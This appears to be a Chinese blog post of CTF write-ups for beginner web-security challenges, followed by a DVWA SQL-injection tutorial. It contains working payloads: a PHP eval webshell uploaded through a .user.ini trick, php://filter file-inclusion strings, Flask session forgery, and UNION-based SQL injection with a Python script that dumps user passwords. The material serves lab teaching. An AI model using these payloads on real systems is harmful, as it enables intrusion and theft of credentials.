web安全初阶2

本文详细介绍了几项网络安全挑战赛的任务解决方案,包括通过添加robots.txt协议找到隐藏flag,分析JavaScript代码找寻游戏过关秘诀,利用Hackbar工具进行参数构造,session伪造获取权限,以及在攻防世界中利用PHP文件包含漏洞揭示flag。每个问题都涉及了不同的技术手段和安全概念。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简单

Training-WWW-Robots

点开链接发现是一处可点击的地方
在这里插入图片描述但是点击并未有任何变化,在反观题目,发现提到协议robots,自然想到在URL后面加协议robots.txt
在这里插入图片描述
得到扩展名
在这里插入图片描述
输入到原来的URL
在这里插入图片描述
得到flag
flag

cyberpeace{84fa8868e87d2b5fb4173a184f8b35e9}

nssctf

1.[LitCTF 2023]导弹迷踪

在这里插入图片描述
首先拿到这题,猜想是作者想让我们从底层代码找到当分数能通过第6关时的情况(总不能是玩到第6关通过吧,答辩根本过不去)。查看源代码,找信息,发现代码块。(ps:.js结尾的都能点击进去查看)

在这里插入图片描述
那么这么多,按照代码书写的风格,gama.js一般是实现游戏逻辑的代码,所以可以在这里面找到flag
在这里插入图片描述
提交时注意按要求

NSSCTF{y0u_w1n_th1s_!!!}

2.Follow me and hack me

观察提示,Hackbar直接写出。

在这里插入图片描述
操作如下:
在这里插入图片描述

3.作业管理系统

在后台找到账户密码为admin,admin.创建文件。
在这里插入图片描述
上传一句话木马
在这里插入图片描述进行访问后。

上传后让A=system(“cat /f*”);
在这里插入图片描述在这里插入图片描述

4.Flag点击就送

F12查看是session。
在这里插入图片描述

运行session伪造的脚本 python flask_session_cookie_manager3.py encode -s ‘LitCTF’ -t ‘{ “name”: “admin” }’,得到伪造的session值。把伪造好的session值传上去,即可得到flag

攻防世界

1.fileinclude

编辑Cookie

language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

在这里插入图片描述选择发送,查看响应
在这里插入图片描述
进行base64解码,得到flag。
在这里插入图片描述

2.file_include

构造payload

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

然后就能看到flag
在这里插入图片描述看不懂构造的?请看下图(内容参考多篇博客,侵权可删)
在这里插入图片描述

3.fileclude

构造
在这里插入图片描述

进行base64解码即可。

在这里插入图片描述

4.inget

根据提示构造

?id=1’ or 1=1-- -

在这里插入图片描述

5.easyupload

抓包获取,上传.user.ini,修改它的类型为image/jpg。内容为

GIF89a
auto_prepend_file=a.jpg

上传a.jpg,内容为

GIF89a

<?=eval($_POST['cmd']);?>

上传后,查看文件。
在这里插入图片描述蚁剑连接后,在flag中找到。

### 头歌 SQL 注入 初阶教程 实验 SQL注入是一种常见的安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码来操控数据库查询。以下是基于头歌平台的初阶SQL注入实验的详细说明和方法。 #### 1. 环境搭建 为了进行SQL注入实验,首先需要搭建一个支持SQL注入测试的环境。通常使用DVWA(Damn Vulnerable Web Application)作为测试平台[^2]。 - 安装Apache、PHP、MySQL等服务。 - 配置Web服务器并安装DVWA应用。 ```bash sudo apt-get update sudo apt-get install apache2 php mysql-server libapache2-mod-php sudo service apache2 start sudo service mysql start ``` #### 2. 获取数据库名称、账户名、版本及操作系统信息 通过SQL注入可以获取数据库的基本信息。例如,在`id`参数中输入以下payload: ```sql 1' AND 1=2 UNION SELECT user(), database() # ``` 这将返回当前数据库用户名和数据库名称。例如:`root@localhost` 和 `dvwa`[^2]。 #### 3. 获取数据库表名 利用`information_schema.tables`表可以列出当前数据库中的所有表名。构造如下payload: ```sql 1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema = database() # ``` 执行后会返回数据库中的表名,如`guestbook, users`[^5]。 #### 4. 获取数据库列名 在获取表名后,可以通过`information_schema.columns`表进一步获取指定表的列名。例如,获取`users`表的列名: ```sql 1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name = 0x7573657273 # ``` 这里使用了十六进制编码`0x7573657273`表示`users`表名[^5]。 #### 5. 获取敏感数据 最终目标是获取敏感数据,如用户名和密码。假设已知`users`表包含`username`和`password`字段,可以构造如下payload: ```sql 1' UNION SELECT username, password FROM users # ``` 这将返回用户列表及其密码哈希值。 #### 6. 注意事项 - 某些网站可能对特殊字符进行过滤或转义,例如将`#`替换为`\#`。这种情况下,可以尝试其他注释符(如`-- -`或`/* */`)[^3]。 - 如果直接注入失败,可以考虑利用存储型注入,即先将恶意代码存入数据库,再通过其他页面触发。 ```python import requests url = "http://example.com/vulnerable-page" payload = "1' UNION SELECT username, password FROM users -- -" response = requests.get(url, params={"id": payload}) print(response.text) ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

温有情

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值